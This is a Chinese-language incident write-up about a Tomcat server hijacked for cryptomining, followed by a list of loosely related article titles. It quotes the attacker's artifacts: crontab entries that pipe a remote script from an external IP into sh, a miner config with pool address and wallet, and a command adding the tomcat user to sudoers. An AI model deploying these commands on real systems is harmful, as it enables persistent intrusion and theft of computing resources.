线上一台应用服务器报警,负载过高,这个就诡异了,因为只是一个普通的服务器,应用使用人员不到10个人,咋会负载高,肯定有问题哪,登陆上去查看,
top查看哪个占据的cpu资源比较多

[root@aew01~]# top
top - 14:27:49 up 423 days, 22:48,  3 users,  load average: 2.10, 1.85, 1.66
Tasks: 166 total,   1 running, 164 sleeping,   0 stopped,   1 zombie
Cpu0  : 45.4%us,  0.8%sy,  0.0%ni, 53.8%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Cpu1  : 38.2%us,  0.8%sy,  0.0%ni, 59.8%id,  0.0%wa,  0.0%hi,  1.2%si,  0.0%st
Mem:  14389372k total, 14233284k used,   156088k free,    12388k buffers
Swap: 33554428k total,  1511980k used, 32042448k free,    40140k cachedPID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
39674 tomcat    20   0  223m 2808  412 S 75.0  0.0   4031:53 atd
54892 tomcat    20   0 10.1g 3.6g 4816 S  4.6 26.4 969:07.52 java  [tomcat@aew01~]$ crontab -l*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
[tomcat@aew01~]$

看到有一个atd进程,这是什么鬼? 查看atd进程

[root@aew01~]# ps -eaf|grep 39674
root     39023 37026  0 14:28 pts/0    00:00:00 grep 39674
tomcat   39674     1 85 Jul15 ?        2-19:12:05 ./atd -c bmsnxvpggm.conf -t 1
[root@aew01~]#

再查看atd执行脚本组件,看到是一个编译之后的可执行组件

[root@aew01~]# find / -name atd
/usr/sbin/atd
/etc/sysconfig/atd
/etc/pam.d/atd
/etc/rc.d/init.d/atd
/var/tmp/atd
[root@aew01~]# more /usr/sbin/atd******** /usr/sbin/atd: Not a text file ********[root@aew01~]#

查看配置文件bmsnxvpggm.conf

[root@aew01~]# more /var/tmp/bmsnxvpggm.conf
{"url" : "stratum+tcp://94.23.41.130:80","user" : "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt","pass" : "x","algo" : "cryptonight","quiet" : true
}
[root@aew01~]#

看来是被盯上了,攻击了。kill掉进程

[root@aew01~]# kill -9 39979
[root@aew01~]# ps -eaf|grep atd
root     40917 37026  0 14:48 pts/0    00:00:00 grep atd
[root@aew01~]#

然后负载降下来了,但是可恶的是,不到5分钟,负载又上来了,一看又是atd这个进程在运行,进去查看tomcat的crontab任务,发现已经被写进crontab任务了,于是注释掉crontab任务。

 [tomcat@aew01~]$ crontab -l*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh[tomcat@aew01~]$

然后又查看历史操作,有这样一个命令echo "tomcat ALL=(ALL) ALL" >> /etc/sudoers曾经被执行过 >echo "tomcat ALL=(ALL) ALL" >> /etc/sudoers >,于是,为了安全起见,进配置/etc/sudoers文件里面,注释掉 #tomcat ALL=(ALL) ALL这一行,然后重启tomcat应用程序。

彻底检查了下应用服务器所对于的db服务器,发现db没有被攻击,各种数据账号安全,又迅速修改了数据库账号密码等等。

BTY:最终的彻底的解解决方案还是需要应用开发人员,堵住tomcat的漏洞,避免黑客使用tomcat漏洞获得应用服务器的tomcat账号权限,进而登陆应用服务器,将应用服务器做成肉鸡,不停的往外发包。

Tomcat应用服务器被黑客 肉鸡攻击 记录相关推荐

  1. Nginx一次肉鸡攻击记录

    记录 Nginx log日志 access log中存在大量404访问,疑似存在肉鸡遍历目录攻击 Nginx format 格式 由于上线的产品经理没有深入了解Nginx配置,导致nginx配置log ...

  2. 为什么黑客无法攻击公开的区块链?

    作者 | Tanveer Ahmad 译者 | 弯月,责编 | 郭芮 头图 | CSDN 下载自东方 IC 出品 | CSDN(ID:CSDNnews) 以下为译文: 人们对区块链这个词总是充满了迷之 ...

  3. 服务器遭到newinit.sh木马挖矿攻击记录

    服务器遭到newinit.sh木马攻击记录 一.中毒现象(Redis后门漏洞导致服务器被注入挖矿脚本解决) 服务器负载异常,具体表现load值冲高 服务器部分命令不可用,如top.ps.pstree. ...

  4. Apache Tomcat 缓慢的HTTP拒绝服务攻击

    Apache Tomcat 缓慢的HTTP拒绝服务攻击 漏洞详情 缓慢的HTTP拒绝服务攻击是一种专门针对于Web的应用层拒绝服务攻击,攻击者操纵网络上的肉鸡,对目标Web服务器进行海量HTTP请求攻 ...

  5. 人人都能成为安全防范的高手 ——《黑客新型攻击防范:深入剖析犯罪软件》

    人人都能成为安全防范的高手 --<黑客新型攻击防范:深入剖析犯罪软件> 过去,人们认为恶意软件是一种纯粹的技术威胁,它主要依靠技术漏洞实现感染.创作者开发它们往往是出于好奇心理,有时则是为 ...

  6. 本人服务器遭受黑客长期攻击,特把这几天做的一些有用的安全方面总结出来,以方便以后查阅

    消息队列 iis 360 north rar sql2000 netscren 本人服务器遭受黑客长期攻击,特把这几天做的一些有用的安全方面总结出来,以方便以后查阅,希望这次彻底解觉黑客的攻击,特次谢 ...

  7. 研究员详述巴基斯坦黑客如何攻击印度和阿富汗政府

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 巴基斯坦威胁组织成功地社工了多个阿富汗国家机构以及印度的一台共享政府计算机,窃取敏感的谷歌.推特和Facebook 凭据并静默访问政府门户. M ...

  8. 请君入瓮: 火眼自称遭某 APT 国家黑客组织攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 火眼公司自称被黑,表示 "高度复杂的威胁行动者"访问了其内网且用于测试客户网络的红队工具被盗. 政府客户信息和红队 ...

  9. pache tomcat慢速HTTP拒绝服务攻击安全问题解决办法

    pache tomcat慢速HTTP拒绝服务攻击安全问题解决办法 参考文章: (1)pache tomcat慢速HTTP拒绝服务攻击安全问题解决办法 (2)https://www.cnblogs.co ...

最新文章

  1. 多目标跟踪FairMOT笔记
  2. thymeleaf文档_springboot中Thymeleaf和Freemarker模板引擎的区别
  3. Android构建boot.img:root目录与ramdisk.img的生成
  4. ATDD验收测试驱动开发
  5. 如何优化 Linux系统
  6. Python 如何利用函数修改函数外list?
  7. J2EE代码存档--导出Excel
  8. 字符和字符串在Java中的旅程
  9. win7使用命令行改计算机名,Win7巧用注册表更改计算机名的实用方法
  10. 科普:股票价格为什么会高开?
  11. ASUS TUF GAMING B660M PLUS WIFI D4 i5-12600K RX6650XT 黑苹果efi引导文件
  12. 写一个PE的壳_Part 3:Section里实现PE装载器
  13. MySQL中出现Duplicate entry 'XXX' for key 'PRIMARY'解决方案
  14. Unity升级2018与Google Android64位支持
  15. STM32驱动NRF24L01
  16. X特效 html+css+js
  17. 【ACWing】587. 吃蛋糕
  18. 移动端UI设计尺寸适配
  19. 亚马逊与甲骨文互撕,透过迷雾看透数据库的江湖恩怨和大势
  20. VRTK4.0学习(六):给控制器添加激光射线

热门文章

  1. pandas dropna()函数
  2. 关于Linux—C语言中的bool类型
  3. 开学季适合买哪些电容笔?主动电容笔和被动电容笔的区别
  4. list和dic区别
  5. C语言使用EsayX库实现简易贪吃蛇
  6. C语言实现状态机(一)
  7. 786. 第 K 个最小的素数分数【我亦无他唯手熟尔】
  8. Linux模拟按键输入
  9. 动态规划法在汽车租赁问题中的实战(使用策略迭代法得到最优策略和最优价值 python实现 附源码)
  10. 从社会数据到社会智慧的社会计算:新技术、新哲学、新文科